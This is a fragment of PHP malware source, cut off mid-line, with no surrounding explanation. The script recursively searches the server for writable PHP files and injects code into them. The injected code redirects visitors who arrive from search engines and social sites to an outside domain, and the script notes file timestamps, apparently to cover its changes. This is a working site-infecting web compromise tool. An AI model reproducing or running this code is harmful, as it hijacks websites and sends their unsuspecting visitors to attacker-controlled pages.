set_time_limit(0); ignore_user_abort(1); echo "zzzzzzz"; function find_files($path, $pattern, $callback) { $path = rtrim(str_replace("\\", "/", $path), '/') . '/*'; foreach (glob ($path) as $fullname) { if (is_dir($fullname) and !stristr('/proc/',$fullname)) { find_files($fullname, $pattern, $callback); } else if (preg_match($pattern, $fullname)) { call_user_func($callback, $fullname); } } } function makechange ($path){ $code=' error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER[\'HTTP_REFERER\']; $uag=$_SERVER[\'HTTP_USER_AGENT\']; if ($uag) { if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){ if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://lpistw.4pu.com/"); exit(); } } } } }'; if (is_writable($path)) { if (is_file($path)) { if (stristr($path,".php") and !stristr($path,"post") and !stristr($path,"img") and !stristr($path,"tmp")){ $fo=file_get_contents ($path); if (!stristr($fo,"base64")) { $aa=filectime ($path); $fi=preg_replace("/<\?php/","